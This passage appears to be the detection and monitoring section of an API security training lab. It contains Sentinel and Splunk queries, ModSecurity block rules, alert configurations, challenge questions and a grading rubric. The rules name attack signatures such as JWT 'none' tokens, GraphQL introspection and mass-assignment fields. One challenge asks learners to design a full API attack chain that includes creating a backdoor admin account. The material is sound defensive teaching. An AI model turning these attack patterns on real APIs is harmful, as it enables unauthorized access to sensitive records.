- Create WAF rules to block common API attacks at the perimeter
- Design an API security monitoring dashboard
- Configure API anomaly detection baselines
ATT&CK Mapping¶
| Mitigation | ID | Description |
|---|---|---|
| Network Intrusion Prevention | M1031 | WAF rules for API protection |
| Filter Network Traffic | M1037 | Rate limiting and request filtering |
| Audit | M1047 | API access logging and monitoring |
| Software Configuration | M1054 | Secure API gateway configuration |
Step 6.1 — Comprehensive API Attack Detection Rule Set¶
KQL — Unified API Threat Detection (Microsoft Sentinel)
// RULE 1: API Authentication Anomaly Detection
// Detects unusual authentication patterns including brute force,
// credential stuffing, and token replay
let auth_baseline = ApiAccessLogs
| where TimeGenerated between (ago(7d) .. ago(1d))
| where RequestPath has "/auth/login"
| summarize AvgDailyFailures = count() / 7
by SourceIP;
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where RequestPath has "/auth/login"
| where ResponseCode in (401, 403)
| summarize
FailedAttempts = count(),
UniqueUsernames = dcount(
extract_json("$.username", RequestBody, typeof(string))),
FirstAttempt = min(TimeGenerated),
LastAttempt = max(TimeGenerated),
UserAgents = make_set(UserAgent, 5)
by SourceIP, bin(TimeGenerated, 15m)
| join kind=leftouter auth_baseline on SourceIP
| extend AnomalyRatio = FailedAttempts / max_of(AvgDailyFailures, 1)
| where FailedAttempts >= 10 or AnomalyRatio > 5
| extend
AttackType = case(
UniqueUsernames > 5 and UniqueUsernames < FailedAttempts, "Credential Stuffing",
UniqueUsernames == 1, "Brute Force",
UniqueUsernames >= FailedAttempts, "Password Spraying",
"Unknown Auth Attack"
),
AlertSeverity = iff(FailedAttempts >= 50, "Critical", "High"),
MitreTechnique = "T1110"
// RULE 2: BOLA/IDOR Pattern Detection with Behavioral Baseline
let user_access_baseline = ApiAccessLogs
| where TimeGenerated between (ago(7d) .. ago(1d))
| where RequestPath matches regex @"/(patients|users|records)/[a-zA-Z0-9-]+"
| summarize AvgUniqueResources = dcount(RequestPath) / 7
by UserId;
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where RequestPath matches regex @"/(patients|users|records|documents)/[a-zA-Z0-9-]+"
| extend
ResourceType = extract(@"/v\d+/(\w+)/", 1, RequestPath),
ResourceId = extract(@"/v\d+/\w+/([a-zA-Z0-9-]+)", 1, RequestPath)
| summarize
UniqueResources = dcount(ResourceId),
ResourceList = make_set(ResourceId, 20),
SuccessCount = countif(ResponseCode == 200),
ForbiddenCount = countif(ResponseCode == 403),
NotFoundCount = countif(ResponseCode == 404),
TotalRequests = count()
by SourceIP, UserId, ResourceType, bin(TimeGenerated, 5m)
| join kind=leftouter user_access_baseline on UserId
| where UniqueResources > max_of(AvgUniqueResources * 3, 10)
| extend
AlertSeverity = case(
UniqueResources >= 100, "Critical",
UniqueResources >= 50, "High",
"Medium"
),
SuccessRate = round(100.0 * SuccessCount / TotalRequests, 1),
MitreTechnique = "T1213"
| project TimeGenerated, SourceIP, UserId, ResourceType,
UniqueResources, SuccessRate, ForbiddenCount, AlertSeverity
// RULE 3: Mass Assignment Detection
ApiAccessLogs
| where TimeGenerated > ago(1h)
| where HttpMethod in ("PUT", "PATCH", "POST")
| where ResponseCode == 200
| extend RequestFields = extract_all(@"""(\w+)""\s*:", RequestBody)
| mv-expand RequestField = RequestFields
| where RequestField in (
"role", "is_admin", "admin", "permissions", "privilege",
"subscription", "verified", "active", "approved",
"password_hash", "internal_id", "credit_balance"
)
| summarize
SuspiciousFields = make_set(RequestField),
FieldCount = dcount(RequestField),
Endpoints = make_set(RequestPath)
by SourceIP, UserId, bin(TimeGenerated, 15m)
| where FieldCount >= 1
| extend AlertSeverity = iff(FieldCount >= 3, "Critical", "High"),
MitreTechnique = "T1548"
// RULE 4: API Endpoint Discovery and Fuzzing
ApiAccessLogs
| where TimeGenerated > ago(30m)
| where ResponseCode in (404, 405, 500)
| summarize
ErrorCount = count(),
Unique404Paths = dcountif(RequestPath, ResponseCode == 404),
Unique405Methods = dcountif(HttpMethod, ResponseCode == 405),
Error500Count = countif(ResponseCode == 500),
PathsScanned = make_set(RequestPath, 20),
MethodsTested = make_set(HttpMethod)
by SourceIP, bin(TimeGenerated, 10m)
| where ErrorCount >= 20 or Unique404Paths >= 10
| extend AlertSeverity = "Medium",
MitreTechnique = "T1595.002",
AttackType = "API Endpoint Fuzzing"
SPL — Unified API Threat Detection (Splunk)
| RULE 1: Comprehensive API authentication attack detection
index=api_logs sourcetype=api_access uri_path="*/auth/login*" status IN (401, 403)
| bin _time span=15m
| stats count AS failed_attempts
dc(username) AS unique_usernames
earliest(_time) AS first_attempt
latest(_time) AS last_attempt
values(user_agent) AS user_agents
by src_ip _time
| eval attack_type=case(
unique_usernames > 5 AND unique_usernames < failed_attempts, "Credential Stuffing",
unique_usernames == 1, "Brute Force",
unique_usernames >= failed_attempts, "Password Spraying",
1=1, "Unknown Auth Attack"
)
| where failed_attempts >= 10
| eval severity=if(failed_attempts >= 50, "Critical", "High"),
mitre_technique="T1110",
duration_seconds=last_attempt - first_attempt
| table _time src_ip failed_attempts unique_usernames attack_type
severity duration_seconds user_agents
| RULE 2: BOLA/IDOR sequential enumeration detection
index=api_logs sourcetype=api_access
| rex field=uri_path "/v\d+/(?<resource_type>\w+)/(?<resource_id>[a-zA-Z0-9-]+)"
| where isnotnull(resource_id)
| bin _time span=5m
| stats dc(resource_id) AS unique_resources
count AS total_requests
values(resource_id) AS resource_list
sum(eval(if(status=200,1,0))) AS success_count
sum(eval(if(status=403,1,0))) AS forbidden_count
by src_ip user_id resource_type _time
| where unique_resources >= 10
| eval success_rate=round(success_count/total_requests*100, 1),
severity=case(
unique_resources >= 100, "Critical",
unique_resources >= 50, "High",
1=1, "Medium"
),
mitre_technique="T1213"
| table _time src_ip user_id resource_type unique_resources
success_rate forbidden_count severity
| RULE 3: GraphQL attack detection (introspection + depth + batching)
index=api_logs sourcetype=api_access uri_path="*graphql*"
| eval is_introspection=if(match(request_body, "__schema|__type"), 1, 0),
mutation_count=mvcount(split(request_body, "mutation")),
has_login=if(match(request_body, "login|authenticate"), 1, 0),
query_length=len(request_body)
| eval attack_type=case(
is_introspection=1, "Introspection",
mutation_count >= 5 AND has_login=1, "Batching Brute-Force",
query_length >= 10000, "Depth/Complexity Attack",
response_time >= 5000, "DoS via Complex Query",
1=1, "Normal"
)
| where attack_type != "Normal"
| stats count AS attack_count
values(attack_type) AS attack_types
max(query_length) AS max_query_length
max(response_time) AS max_response_time
by src_ip _time span=15m
| eval severity=case(
match(attack_types, "Brute-Force"), "Critical",
match(attack_types, "DoS"), "High",
1=1, "Medium"
),
mitre_technique=case(
match(attack_types, "Introspection"), "T1590",
match(attack_types, "Brute-Force"), "T1110.003",
match(attack_types, "DoS"), "T1499",
1=1, "T1595"
)
Step 6.2 — WAF Rule Creation¶
# ModSecurity / OWASP CRS style WAF rules for API protection (SYNTHETIC)
# File: /etc/modsecurity/rules/api-security.conf
# RULE 1: Block JWT 'none' algorithm attempts
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+eyJhbGciOiJub25l" \
"id:900001,\
phase:1,\
deny,\
status:403,\
log,\
msg:'JWT none algorithm attack detected',\
tag:'api-security',\
tag:'OWASP-API2',\
tag:'attack-authentication',\
severity:'CRITICAL'"
# RULE 2: Block GraphQL introspection in production
SecRule REQUEST_BODY "@rx __schema|__type|__introspection" \
"id:900002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'GraphQL introspection attempt blocked',\
tag:'api-security',\
tag:'graphql',\
severity:'HIGH',\
chain"
SecRule REQUEST_URI "@rx /graphql|/query" ""
# RULE 3: Block excessively large GraphQL queries (depth attack prevention)
SecRule REQUEST_BODY "@gt 10000" \
"id:900003,\
phase:2,\
deny,\
status:413,\
log,\
msg:'GraphQL query exceeds maximum size — potential depth attack',\
tag:'api-security',\
tag:'OWASP-API4',\
severity:'HIGH',\
chain"
SecRule REQUEST_URI "@rx /graphql|/query" ""
# RULE 4: Block mass assignment — sensitive fields in request body
SecRule REQUEST_BODY "@rx \"(is_admin|role|permissions|privilege|admin)\"" \
"id:900004,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Mass assignment attempt — sensitive field in request body',\
tag:'api-security',\
tag:'OWASP-API6',\
severity:'HIGH',\
chain"
SecRule REQUEST_METHOD "@rx PUT|PATCH|POST" ""
# RULE 5: Block BOLA pattern — rapid sequential ID access
SecRule &TX:bola_counter "@ge 20" \
"id:900005,\
phase:1,\
deny,\
status:429,\
log,\
msg:'BOLA/IDOR pattern detected — rapid resource enumeration',\
tag:'api-security',\
tag:'OWASP-API1',\
severity:'CRITICAL'"
# RULE 6: Detect API version enumeration
SecRule REQUEST_URI "@rx /(v[0-9]+|beta|staging|internal|alpha|dev)/" \
"id:900006,\
phase:1,\
pass,\
log,\
msg:'API version probing detected',\
tag:'api-security',\
tag:'reconnaissance',\
severity:'MEDIUM',\
setvar:'tx.version_probe_count=+1'"
# RULE 7: Block requests to swagger/OpenAPI docs in production
SecRule REQUEST_URI "@rx /(swagger|openapi|api-docs|redoc|\.well-known/openapi)" \
"id:900007,\
phase:1,\
deny,\
status:404,\
log,\
msg:'API documentation access blocked in production',\
tag:'api-security',\
tag:'information-disclosure',\
severity:'MEDIUM'"
Step 6.3 — API Anomaly Detection Baseline¶
// Establish baseline API usage patterns (run weekly)
// Store results for anomaly comparison
let baseline_period = 7d;
ApiAccessLogs
| where TimeGenerated > ago(baseline_period)
| summarize
// Per-user baselines
AvgRequestsPerHour = count() / (baseline_period / 1h),
AvgUniqueEndpoints = dcount(RequestPath) / (baseline_period / 1d),
AvgResponseSize = avg(ResponseSizeBytes),
P95ResponseTime = percentile(ResponseTimeMs, 95),
TypicalMethods = make_set(HttpMethod),
TypicalUserAgents = make_set(UserAgent, 3),
TypicalHours = make_set(bin(TimeGenerated, 1h) % 1d),
ErrorRate = round(100.0 * countif(ResponseCode >= 400) / count(), 2)
by UserId
| extend BaselineType = "per_user",
GeneratedAt = now()
// Real-time anomaly detection against baseline
let user_baselines = materialize(
ApiBaselines
| where BaselineType == "per_user"
| where GeneratedAt > ago(7d)
);
ApiAccessLogs
| where TimeGenerated > ago(15m)
| summarize
CurrentRequests = count(),
CurrentUniqueEndpoints = dcount(RequestPath),
CurrentAvgResponseSize = avg(ResponseSizeBytes),
CurrentErrorRate = round(100.0 * countif(ResponseCode >= 400) / count(), 2),
CurrentMethods = make_set(HttpMethod)
by UserId, bin(TimeGenerated, 15m)
| join kind=inner user_baselines on UserId
| extend
RequestAnomaly = CurrentRequests > (AvgRequestsPerHour * 4 * 0.25),
EndpointAnomaly = CurrentUniqueEndpoints > (AvgUniqueEndpoints * 3),
ErrorAnomaly = CurrentErrorRate > (ErrorRate * 5),
SizeAnomaly = CurrentAvgResponseSize > (AvgResponseSize * 10)
| where RequestAnomaly or EndpointAnomaly or ErrorAnomaly or SizeAnomaly
| extend
AnomalyTypes = strcat(
iff(RequestAnomaly, "HighVolume ", ""),
iff(EndpointAnomaly, "EndpointSprawl ", ""),
iff(ErrorAnomaly, "HighErrorRate ", ""),
iff(SizeAnomaly, "LargeResponses", "")
),
AlertSeverity = case(
RequestAnomaly and EndpointAnomaly, "Critical",
RequestAnomaly or ErrorAnomaly, "High",
"Medium"
)
Step 6.4 — API Security Monitoring Dashboard¶
Design specifications for an API security monitoring dashboard with the following panels:
Dashboard: API Security Operations Center
┌─────────────────────────────────────────────────────────────────────┐
│ API SECURITY DASHBOARD │
│ Last 24 Hours | Auto-refresh: 5m │
├──────────────────┬──────────────────┬───────────────────────────────┤
│ TOTAL REQUESTS │ AUTH FAILURES │ ACTIVE THREATS │
│ 1,247,832 │ 3,847 │ 12 │
│ ▲ 8% vs avg │ ▲ 340% vs avg │ ⚠ 3 Critical │
├──────────────────┴──────────────────┴───────────────────────────────┤
│ │
│ [Timeline: API Requests by Status Code] │
│ ████████████████████████████████ 200 (89%) │
│ ████ 401 (4.2%) │
│ ███ 403 (3.1%) │
│ ██ 404 (2.8%) │
│ █ 429 (0.7%) █ 500 (0.2%) │
│ │
├─────────────────────────────────┬───────────────────────────────────┤
│ TOP THREAT SOURCES (IP) │ OWASP API TOP 10 FINDINGS │
│ 1. 198.51.100.47 — 847 reqs │ ▐██████████▌ API1:BOLA (23) │
│ 2. 203.0.113.91 — 523 reqs │ ▐████████▌ API2:Auth (18) │
│ 3. 198.51.100.12 — 412 reqs │ ▐██████▌ API3:BOPLA (14) │
│ 4. 203.0.113.33 — 298 reqs │ ▐████▌ API4:Resource (9) │
│ 5. 198.51.100.88 — 187 reqs │ ▐███▌ API5:BFLA (7) │
│ │ ▐██▌ API6:MassAsgn (4) │
├─────────────────────────────────┼───────────────────────────────────┤
│ JWT ATTACK ATTEMPTS │ GRAPHQL SECURITY │
│ None algorithm: 47 │ Introspection attempts: 34 │
│ HS256 confusion: 12 │ Depth attacks blocked: 8 │
│ Expired tokens: 892 │ Batching brute-force: 3 │
│ Invalid issuer: 156 │ Max query depth seen: 42 │
│ Malformed tokens: 234 │ Avg query complexity: 127 │
├─────────────────────────────────┴───────────────────────────────────┤
│ RATE LIMITING STATUS │
│ Global: 2,847 triggers │ Auth: 487 triggers │ Sensitive: 124 │
│ │
│ [Heatmap: Rate Limit Triggers by Hour and Endpoint] │
│ 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 ... │
│ /auth ░░░░░░░░░░░░█████████████████████████████████░░░░ │
│ /patients ░░░░░░░░░░███████████████████████░░░░░░░░░░░ │
│ /graphql ░░░░░░░░░░░░████████████████████████████████ │
└─────────────────────────────────────────────────────────────────────┘
KQL — Dashboard Queries
// Panel: API Request Volume Over Time
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize RequestCount = count() by bin(TimeGenerated, 5m), ResponseCode
| render timechart
// Panel: Top 10 Most Accessed Endpoints
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize RequestCount = count() by RequestPath
| top 10 by RequestCount
| render barchart
// Panel: Authentication Failure Trend
ApiAccessLogs
| where TimeGenerated > ago(24h)
| where RequestPath has "/auth/"
| where ResponseCode in (401, 403)
| summarize Failures = count() by bin(TimeGenerated, 15m)
| render timechart
// Panel: Unique API Consumers
ApiAccessLogs
| where TimeGenerated > ago(24h)
| summarize
UniqueIPs = dcount(SourceIP),
UniqueUsers = dcount(UserId),
UniqueUserAgents = dcount(UserAgent)
by bin(TimeGenerated, 1h)
| render timechart
SPL — Dashboard Queries
| Panel: Real-time API threat overview
index=api_logs sourcetype=api_access earliest=-24h
| eval threat_type=case(
match(uri_path, "swagger|openapi|api-docs"), "Reconnaissance",
status=401 AND match(uri_path, "auth"), "Auth Attack",
status=403, "Authz Violation",
status=429, "Rate Limited",
match(request_body, "__schema|__type"), "GraphQL Introspection",
response_time > 10000, "DoS Attempt",
1=1, "Normal"
)
| where threat_type != "Normal"
| stats count BY threat_type
| sort -count
| head 10
Step 6.5 — Alerting Rules Configuration¶
# API Security Alert Rules (SYNTHETIC)
# Platform: Sentinel / Splunk SOAR / Generic SIEM
alert_rules:
- name: "API-CRITICAL-001: JWT Algorithm Attack"
severity: critical
description: "JWT token with 'none' or unexpected algorithm detected"
query_type: kql
schedule: "every 5 minutes"
lookback: "15 minutes"
threshold: 1
mitre_techniques: ["T1606.001"]
owasp_api: "API2:2023"
response_actions:
- block_source_ip
- revoke_all_tokens_for_user
- notify_soc_oncall
- create_incident_ticket
- name: "API-CRITICAL-002: Mass BOLA Exploitation"
severity: critical
description: "User accessing 50+ unique resource IDs in 5 minutes"
query_type: kql
schedule: "every 5 minutes"
lookback: "10 minutes"
threshold: 50 # unique resources accessed
mitre_techniques: ["T1213"]
owasp_api: "API1:2023"
response_actions:
- block_source_ip
- suspend_user_account
- notify_soc_oncall
- preserve_evidence
- name: "API-HIGH-003: GraphQL Batching Brute-Force"
severity: high
description: "Batched GraphQL mutations targeting authentication"
query_type: kql
schedule: "every 5 minutes"
lookback: "15 minutes"
threshold: 5 # mutations per request
mitre_techniques: ["T1110.003"]
owasp_api: "API4:2023"
response_actions:
- rate_limit_source_ip
- lock_targeted_account
- notify_soc
- name: "API-HIGH-004: Admin Endpoint Accessed by Non-Admin"
severity: high
description: "Non-admin role accessing administrative API endpoints"
query_type: kql
schedule: "every 5 minutes"
lookback: "15 minutes"
threshold: 1
mitre_techniques: ["T1548"]
owasp_api: "API5:2023"
response_actions:
- block_source_ip
- suspend_user_account
- notify_soc
- review_rbac_configuration
- name: "API-MEDIUM-005: API Documentation Exposure"
severity: medium
description: "Swagger/OpenAPI documentation accessed from external IP"
query_type: kql
schedule: "every 15 minutes"
lookback: "30 minutes"
threshold: 3 # unique doc paths accessed
mitre_techniques: ["T1596"]
owasp_api: "API9:2023"
response_actions:
- log_and_monitor
- review_documentation_exposure
Challenge Questions¶
Test your understanding of API security concepts with these challenge exercises:
Challenge 1: Advanced BOLA Detection¶
Scenario: An attacker is using non-sequential UUIDs (harvested from a data breach) to access patient records via /v2/patients/{uuid}. Traditional sequential-ID detection rules will not trigger.
Task: Write a KQL query that detects BOLA attacks using UUID-based identifiers by analyzing:
- The ratio of unique resources accessed vs. the user's typical access pattern
- Response codes (high 200 rate from resources the user shouldn't own)
- Time-of-day anomalies (access outside the user's normal hours)
Hint
Focus on dcount() of accessed UUIDs compared to a 7-day per-user baseline, and join with the ownership table to calculate the percentage of "foreign" (non-owned) resources accessed.
Challenge 2: GraphQL Complexity Bomb¶
Scenario: An attacker crafts a GraphQL query that stays within the depth limit (max 7) but uses aliases and fragments to generate exponential response sizes.
Task: Design a query complexity scoring algorithm that accounts for:
- Field depth (weighted)
- Number of aliases per level
- Fragment expansion
- List return types with pagination
Hint
Assign a base cost of 1 per scalar field, multiply by the parent list's limit argument value, and add a multiplier for each nesting level. Fragments should be expanded before scoring.
Challenge 3: OAuth Token Theft Detection¶
Scenario: An attacker has stolen an OAuth refresh token and is using it from a different geographic location and device fingerprint to maintain persistent access.
Task: Write detection logic (KQL or SPL) that identifies OAuth token usage anomalies by correlating:
- Geographic distance between token issuance and usage
- Device fingerprint changes (user agent, client ID)
- Refresh token reuse patterns
Hint
Use geo_info_from_ip_address() in KQL to extract geolocation from source IPs, calculate the time delta between requests from different locations, and flag physically impossible travel (e.g., requests from two cities 1000+ km apart within 30 minutes).
Challenge 4: API Gateway Bypass¶
Scenario: The API gateway enforces rate limiting and WAF rules, but an attacker discovers that the backend API server is directly accessible on an internal IP (10.10.50.100) without the gateway's protections.
Task: Describe three detection mechanisms that would identify:
- Direct backend access bypassing the gateway
- Rate limit evasion through IP rotation
- WAF rule circumvention through request encoding (e.g., Unicode normalization, parameter pollution)
Hint
Compare the X-Forwarded-For header presence — requests through the gateway will have this header; direct access will not. For rate limit evasion, correlate by session token or user ID instead of IP. For WAF bypass, implement request normalization before rule evaluation.
Challenge 5: Full Kill Chain — API Attack Simulation¶
Scenario: Design a complete API attack kill chain for the MedVault scenario that chains together:
- Reconnaissance (find the OpenAPI spec)
- Authentication bypass (JWT algorithm confusion)
- Authorization escalation (mass assignment to gain admin role)
- Data exfiltration (BOLA to access all patient records)
- Persistence (create a backdoor admin account)
Task: For each stage, specify:
- The exact API request (method, path, headers, body)
- The OWASP API Top 10 category exploited
- The ATT&CK technique ID
- A detection query that would catch this specific step
Hint
The key insight is that each stage's output becomes the next stage's input. The forged JWT from stage 2 enables the mass assignment in stage 3, which provides the admin permissions needed for stages 4 and 5. Write your detection queries to correlate across stages — a single alert should fire when the full chain is observed.
Scoring Rubric¶
| Criteria | Points | Description |
|---|---|---|
| Phase 1: API Reconnaissance | 15 | Successfully discover OpenAPI spec, enumerate versions, fingerprint technology, map endpoints |
| Phase 2: Authentication Bypass | 20 | Demonstrate JWT none algorithm attack, RS256-to-HS256 confusion, OAuth flow manipulation, API key extraction |
| Phase 3: Authorization Attacks | 20 | Successfully exploit BOLA/IDOR, BFLA, and mass assignment with documented evidence |
| Phase 4: GraphQL Exploitation | 15 | Execute introspection, depth attack, batching brute-force, and field suggestion exploitation |
| Phase 5: Defense Implementation | 15 | Implement JSON Schema validation, rate limiting, JWT algorithm pinning, BOLA prevention middleware |
| Phase 6: Detection & Monitoring | 10 | Write working KQL and SPL detection queries, design monitoring dashboard |
| Challenge Questions | 5 | Complete at least 3 of 5 challenge questions with working solutions |
| Total | 100 |
Grading Scale:
| Score | Grade | Description |
|---|---|---|
| 90-100 | A | Excellent — comprehensive understanding of API security |
| 80-89 | B | Good — solid grasp of OWASP API Top 10 with minor gaps |
| 70-79 | C | Satisfactory — understands core concepts, needs depth on defenses |
| 60-69 | D | Needs Improvement — gaps in both offensive and defensive knowledge |
| Below 60 | F | Unsatisfactory — review prerequisite material before reattempting |
Lab Cleanup¶
# Remove any test tokens from environment
unset TOKEN API_BASE GQL_BASE AUTH_BASE
# Clear command history of sensitive data (synthetic, but good practice)
history -c
# Verify no test artifacts remain
env | grep -i "token\|key\|secret\|api" | grep -v PATH
References¶
- OWASP API Security Top 10 — 2023
- MITRE ATT&CK — Initial Access
- JWT.io — JSON Web Token Debugger
- GraphQL Security Best Practices
- NIST SP 800-95 — Guide to Secure Web Services
- RFC 6749 — OAuth 2.0 Authorization Framework
- RFC 7519 — JSON Web Token (JWT)
OWASP API Top 10 (2023) Coverage Summary¶
| OWASP API Category | Lab Phase | Finding Demonstrated |
|---|---|---|
| API1:2023 — Broken Object Level Authorization | Phase 3 | BOLA/IDOR via patient ID enumeration |
| API2:2023 — Broken Authentication | Phase 2 | JWT none algorithm, RS256-to-HS256 confusion |
| API3:2023 — Broken Object Property Level Authorization | Phase 3 | Mass assignment (role, is_admin injection) |
| API4:2023 — Unrestricted Resource Consumption | Phase 4 | GraphQL depth attacks, batching brute-force |
| API5:2023 — Broken Function Level Authorization | Phase 3 | Patient role accessing admin endpoints |
| API6:2023 — Unrestricted Access to Sensitive Business Flows | Phase 3 | Mass assignment of business-critical fields |
| API7:2023 — Server Side Request Forgery | Phase 1 | Internal API endpoint discovery |
| API8:2023 — Security Misconfiguration | Phase 1, 2 | Stack traces, CORS *, API keys in JS, swagger exposed |
| API9:2023 — Improper Inventory Management | Phase 1 | Deprecated v1 API without auth, version enumeration |
| API10:2023 — Unsafe Consumption of APIs | Phase 2 | OAuth redirect URI validation bypass |